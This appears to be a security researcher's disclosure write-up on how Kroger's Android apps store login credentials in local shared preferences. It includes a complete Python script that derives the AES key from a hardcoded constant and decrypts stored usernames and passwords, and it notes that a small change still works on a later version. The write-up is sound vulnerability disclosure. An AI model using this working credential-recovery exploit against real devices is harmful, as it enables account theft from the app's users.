I tested all the Kroger apps listed below, and they all stored credentials in the same insecure way.
Using Android Debug Bridge, I connected to the phone and retrieved the locally stored credentials as shown below.
The credentials are stored in an encrypted form, as shown below.
This is the #2 most important security vunerability on mobile devices, according to OWASP.
If a developer is forced to store a password locally, there are far better options, such as the Android Keystore. The Android Keystore can be breached on a rooted phone, so the app should test for this, and refuse to run on a rooted phone.
The remainder of this page merely proves this simple point by explicitly reverse-engineering the encryption used by Kroger, and making a simple Python script that decrypts the password.
Here's the script recovering credentials from the Krogers app:
from Crypto.Cipher import AES import pbkdf2 infile = raw_input("Input file (from shared_prefs/com.kroger.mobile.xml): [com.kroger.mobile.xml] ") if infile == '': infile = 'com.kroger.mobile.xml' with open(infile) as f: content = f.readlines() content = [x.strip() for x in content] oneline = '' for line in content: oneline += line print print "Here's the data the app stores on your phone:" print s1 = "
" d1 = oneline.find(s1) d2 = oneline.find("", d1) cred = oneline[d1 + len(s1) : d2] print "CREDENTIALS_STORE_BASIC_AUTH_TYPE: ", cred d1 = cred.find(";") blob1 = cred[0:d1-4] d2 = cred.find(";", d1+1) d3 = cred.find(";", d2+1) blob2 = cred[d1+2:d2-4] blob3 = cred[d2+2:d3-4] # print "Blob1 ", blob1 # print "Blob2 ", blob2 # print "Blob3 ", blob3 print print "Decrypting it yields:" print salt = blob1.decode("base64") iv = blob2.decode("base64") ciphertext = blob3.decode("base64") pw = '64BCE401-8A76-4B07-BB03-F64A1F36F3D8' secret_key = pbkdf2.PBKDF2(pw, salt, 2500).read(32) n = len(iv) iv = iv[n-16:n] cipher = AES.new(secret_key, AES.MODE_CBC, iv) basic = cipher.decrypt(ciphertext) # print "Basic: ", basic n = basic.find(";") username = basic[0:n] password = basic [n+1:] # print "Username: ", username # print "Password: ", password print "Username: ", username.decode("base64") print "Password: ", password.decode("base64")
I tested this version:
The app still stores the same data on the phone, but the delimiters between the fields have been changed. The previous error, URL-encoding line feeds, has been corrected.
A trivial update to the Python script results in the same result: the password is easily recovered from the data stored on the phone.